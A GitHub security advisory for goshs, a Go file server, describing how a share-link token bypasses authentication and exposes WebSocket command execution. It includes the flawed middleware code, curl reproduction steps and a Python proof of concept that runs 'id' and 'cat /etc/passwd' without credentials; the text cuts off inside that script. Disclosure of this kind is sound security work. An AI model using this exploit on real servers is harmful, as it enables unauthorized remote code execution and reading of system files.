GitHub Security Advisory: GHSA-jgfx-74g2-9r6g
Package: github.com/patrickhener/goshs (GO)
Severity: HIGH (CVSS 8.1)
CWE: CWE-288: Authentication Bypass Using an Alternate Path or Channel
Vulnerable versions: >= 1.1.0
Patched in: unpatched

Summary: goshs has Auth Bypass via Share Token

Details:
### Summary
When using the `Share Token` it is possible to bypass the limited selected file download with all the gosh functionalities, including code exec.

### Details

The `BasicAuthMiddleware` checks for a `?token=` parameter **before** checking credentials. If the token exists in `SharedLinks`, the request passes through with **no auth check at all**. The handler then processes all query parameters — including `?ws` (WebSocket) which has higher priority than `?token`.

```go
// middleware.go:22-30 — token check runs FIRST
token := r.URL.Query().Get("token")
if token != "" {
    _, ok := fs.SharedLinks[token]
    if ok {
        next.ServeHTTP(w, r)  // Full auth bypass
        return
    }
}
// ... normal auth checks never reached
```

A share token is designed for **single-file, time-limited downloads**. But the middleware bypass grants access to everything — directory listing, file deletion, clipboard, WebSocket, and CLI command execution.


**1. Create a webroot:**

```bash
mkdir -p /tmp/goshs-webroot
echo "shareable file" > /tmp/goshs-webroot/shareable.txt
```

**2. Start goshs with auth + TLS + CLI mode:**

```bash
/tmp/goshs-test -d /tmp/goshs-webroot -b 'admin:password' -s -ss -c -p 8000
```

> CLI mode requires auth (`-b`) and TLS (`-s -ss`). This is the documented usage — not a weakened config.

**3. Verify authentication is required:**

```bash
curl -sk https://localhost:8000/
Not authorized
```

**4. As a legitimate user, create a share link:**

```bash
curl -sk -u admin:password 'https://localhost:8000/shareable.txt?share'
```

Response:
```json
{"urls":["https://127.0.0.1:8000/shareable.txt?token=gMP-w0hXRs-Q-FEZku63kA"]}
```

Save the token value (e.g., `gMP-w0hXRs-Q-FEZku63kA`).

**5. Prove the token bypasses auth for WebSocket:**

```bash
# Without token → 401 (blocked)
curl -sk -o /dev/null -w "%{http_code}" \
  -H "Connection: Upgrade" -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  'https://localhost:8000/?ws'
# 401

# With token → 101 Switching Protocols (auth bypassed!)
curl -sk -o /dev/null -w "%{http_code}" \
  -H "Connection: Upgrade" -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  'https://localhost:8000/?ws&token=gMP-w0hXRs-Q-FEZku63kA'
# 101
```

For a Full PoC, you can run the python file attached below, it will run `id` and `cat /etc/passwd`.




### PoC

``` python
import json, ssl, websocket

TOKEN = "gMP-w0hXRs-Q-FEZku63kA"  # ← replace with your token

ws = websocket.create_connection(
    f"wss://localhost:8000/?ws&token={TOKEN}",
    sslopt={"cert_reqs": ssl.CERT_NONE},
)
print("[+] Connected WITHOUT credentials!")

# Execute 'id'
ws.send('{"type":"command","Content":"id"}')
import time; time.sleep(1)
resp = json.loads(ws.recv())
print(f"Output: {resp['content']}")
# uid=501(youruser) gid=20(staff) ...

# Execute 'cat /etc/passwd'
ws.send('{"type":"command","Content":"cat /etc/pass